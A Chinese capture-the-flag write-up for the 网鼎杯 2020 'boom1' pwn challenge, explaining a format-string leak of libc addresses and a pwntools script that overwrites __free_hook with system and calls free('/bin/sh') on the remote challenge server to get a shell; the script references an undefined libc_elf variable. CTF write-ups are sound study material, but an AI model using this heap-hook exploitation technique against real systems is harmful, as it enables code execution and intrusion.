网鼎杯 2020 boom1
学习了 BOI Team 的wp,感觉没弄太明白,主要是远程的偏移计算方法。自己消化一下,想出一个自我感觉比较方便的方法。
这是一个虚拟机的题,用给定的一些关键字写个c程序,然后运行得到shell
师傅的方法:
由于都是通过mmap生成的堆,所以跟libc是连续,计算出程序当前变量位置与free_hook和system的偏移 *(free_hook) = system然后free(/bin/sh)就OK了
但问题是本地的偏移通过Gdb得到很容易,buu远程上的libc是一个很难找到的libc(libc可以下载,但对应的ld找不到,也许能找到但比赛的时候给出来也得当找不到的作)
所以我在这用了一次printf("0x%lx %21$p",&a); 这样一次打印出libc_main_ret和a的地址,便可计算出偏移,堆与libc邻不邻无所谓。
from pwn import *
'''
patchelf --set-interpreter /home/shi/pwn/libc6_2.27-3u1/lib64/ld-2.27.so pwn
patchelf --add-needed /home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so pwn
'''
elf = ELF('./pwn')
context.arch = 'amd64'
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 26829)
context.log_level = 'debug'
'''
libc : 0x00007ffff7a1e000
__free_hook : 0x7f626872b8e8 <__free_hook> &a - 0x1616f0
system : 0x7f62683b7580 <system> &a - 0x4d5a58
&a : 0x6888cfd8
'''
#gdb.attach(p)
#pause()
#base = 0x517fd8 #local
base = 0x54dfd8 #remote
off1 = (base - libc_elf.sym['__free_hook'])//8
off2 = (base - libc_elf.sym['system'])//8
print('_free_hook,system',off1, off2)
#通过这个长的printf找到libc_start_main_ret 为21
#payload = 'main(){int a; printf("%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p");}\n'
'''
b'(nil)-(nil)-(nil)-(nil)-(nil)-0x7ffe3ddb0750-(nil)-0x1-0x1-0x7f2762bf2048
-0x7f2762baffd0-0x7f2762baffe0-0x7f2762bb1010-0x4-0x25-0x40000-0x7f2762c335b0-0x7f2762baffd8-0x6bb73c06bded3e00-0x55c67dfa5e30
-0x7f27626b9a87 <------ __libc_start_main_ret+231
'''
#payload = 'main(){int a; printf("0x%lx %21$p",&a);}'
payload = 'main(){int a; *(&a-'+str(off1)+')=&a-'+str(off2)+';free("/bin/sh");}\n' #local
p.sendafter(b"I'm living...\n", payload.encode())
p.interactive()